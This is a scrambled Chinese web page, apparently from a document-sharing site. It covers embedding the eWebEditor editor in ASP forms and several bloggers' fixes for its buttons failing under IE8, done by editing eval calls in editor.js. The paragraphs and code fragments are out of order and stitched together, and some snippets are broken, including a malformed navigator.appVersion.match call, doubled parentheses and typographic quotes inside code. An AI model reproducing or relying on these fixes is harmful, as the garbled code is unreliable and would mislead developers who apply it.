<iframe ID="eWebEditor1" src="/ewebeditor.htm?id=content1&style=coolblue" frameborder="0" scrolling="no" width="500" HEIGHT="350"></iframe>参数说明:l /ewebeditor.htm应改为你实际安装的路径l 参数id: 相关联的表单项名,也就是提交保存页要引用的表单项名,多个调用时,请保证id不同,可参见后面例子l 参数style: 使用的样式名,可以是标准的样式名或自定义的样式名,如果使用标准coolblue可留空l width, height: 根据实际需要设置,eWebEditor将自动调整与其适应l 在后台管理中,可以得到每个样式的最佳调用代码l 更多参数,请见参数设置说明例子:新增表单在未使用eWebEditor前,你原来新增内容的表单可能是如下形式:<textarea name="content1" rows=10 cols=50></textarea>使用eWebEditor后,现在是如下形式:<input type="hidden" name="content1" value=""><iframe ID="eWebEditor1" src="/ewebeditor.htm?id=content1&style=coolblue" frameborder="0" scrolling="no" width="500" HEIGHT="350"></iframe>或者<textarea name="content1" style="display:none"></textarea><iframe ID="eWebEditor1" src="/ewebeditor.htm?id=content1&style=coolblue" frameborder="0" scrolling="no" width="500" HEIGHT="350"></iframe>例子:修改表单你原来可能是:<textarea name="content1"rows=10cols=50><%=Server.HTMLEncode(s_Content)%></textarea>现在是:<input type="hidden" name="content1" value="<%=Server.HTMLEncode((s_Content)%>"><iframe ID="eWebEditor1" src="/ewebeditor.htm?id=content1&style=coolblue" frameborder="0" scrolling="no" width="500" HEIGHT="350"></iframe>或者<textarea name="content1"style="display:none"><%=Server.HTMLEncode((s_Content)%></textarea><iframe ID="eWebEditor1" src="/ewebeditor.htm?id=content1&style=coolblue" frameborder="0" scrolling="no" width="500" HEIGHT="350"></iframe>3.3.4 注意事项1. 调用参数id与表单项名必须相同如,下面的代码中,蓝色部分必需是相同的,且区分大小写。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
//修改ewebeditor1结束
4、说明:
就是当点击按钮的时候激活对应函数,IE8正式版对anonymous()限制了,把anonymous()修改为onclick(event)就可以在IE8里使用了,但是IE7及之前的版本却不行,所以为了能够在IE8及前面的版本都能使用,所以加上了个判断语句,而为了在遨游里也能使用,所以又加了个判断语句,结合起来就是如下语句了: if(navigator.appVersion.match(/MSIE (7|8)\./i)!=null || navigator.appVersion.match(/MAXTHON/i)=='MAXTHON')
}
}
catch (e){
eval(element.YUSERONCLICK + "anonymous()");
}
}
再保存,然后就可以了。
升级成ie8.0后无法正常使用ewebeditor是因为anonymous()函数在ie8.0中不能使用,ie8.0中只能用
onclick(event),而其他8.0以下的只能用anonymous(),所以这里要使用javascript的try函数,对客户端ie用8.0代码进行试运行。如果出错,再尝试8.0以下的代码进行处理。正常第一种方法就可以解决问题!
问题是这样的,在ie8下ewebeditor的所有按钮都无效,因为ie8是当天发布的,所以网上也没有这样的解决办法,然后就换360浏览器,没想到360浏览器用的也是ie的内核,还是一样,没办法只能等等看了,毕竟这个编辑器不是自己写的,一时半会儿也找不到解决办法,于是到了第二天,终于在网上找到了解决办法:
{
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)");
}else{
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");
是因为ie8屏蔽了anonymous方法所以要改成onclick方法,打开include下面的editor.js文件,有这样的段代码:
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + “anonymous()”);
把那个anonymous方法改成onclick就可以了。
方法三:
前几天ie8正式公布了,当天中午我就去下载了一个迫不急待的将自己的浏览器升级到ie8,偶还刻意的去升级了一个英文版的,感觉英文版的超级爽,就在我还在为ie8的一些新功能大爽特爽时,一个龌龊的消息来了,我网站后台的编辑器都不管用了。
我有好几个网站,编辑器全用的那一个,也就是ewebeditor编辑器,因为这个鸟编辑器我前几天几乎所有的网站都被黑客攻击,今天又遇到这个问题,让我顿时对这个编辑器没了好感,所以近期也在自己开发一个编辑器,欢迎大家随时关注我的天道酬勤博客,我会把编辑器的源代码和系统讲解都会在那里公布,打造一个纯开源纯免费的编辑器。
问题是解决了,心情也舒畅了,结果没过两个小时我的会员就像我反应页面出问题,我换到别人的电脑上一看,这叫一个汗,原来把那个方法改成onclick之后在ie7下面就不管用了,毕竟现在很多人用的还是ie7,这叫一个头疼,于是还是去网上找,总是感觉不可能是我一个人遇到这样的问题。
最后果然还是在csdn上找到了答案:
方法一:
具体操作如下:
打开editor.js
找到if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");
将其修改为:
if (element.YUSERONCLICK)
{
try
{
eval(element.YUSERONCLICK + "onclick(event)");
方法应该有两种,一个是修改editor.js文件,一个是升级ewebeditor版本(第二种方法我没有尝试,哪位朋友试过的可以秀下)
解决步骤如下:
1、找到editor.js文件(文件搜索下,立刻找到)
2、找到如下红色代码
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");
3、用下面蓝色代码替换上面的红色代码
//修改ewebeditor1,以便在IE8\7及遨游里能够正常使用编辑器
if(navigator.appVersion.match(/MSIE (7|8)\./i)!=null || navigator.appVersion.match(/MAXTHON/i)=='MAXTHON')
方法二:
由于IE升级,造成网站后台编辑器(eWebEditor)的按钮不能使用,如:插入图片等功能。有些第三方浏览器也不行,因为它们使用了IE内核,如遨游。那么如何解决呢,搜索了网上资料,想必肯定不可能只有我一个人这么倒霉吧。果然,很多朋友都碰到,解决方法也很多,大都差不多。自己结合自己的解决过程,说明下,一步到位,省得麻烦。
ewebeditor在线编辑器 按钮怎么没反应失效了用不了的解决方法!
今天遇到一个问题:我的网站ewebeditor在线编辑器上的按钮居然点击没有反应了,前几天还是正常的,我找了好久都没有找出原因来。后台,我去了另一台电脑上试了一下,居然正常。奇怪。后来去网上搜索了一下,发现是升级IE引起的。前几天我的电脑的IE由6.0升级到8.0,而ewebeditor在线编辑器对IE版本的兼容性不是怎么好,所以才引起这个了。我在网上找到了解决方法,能够兼容IE6,IE7,IE8三个版本。
if(navigator.appVersion.match(YUSERONCLICK) eval(element.YUSERONCLICK + “onclick(event)”);
}
else
{
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + “anonymous()”);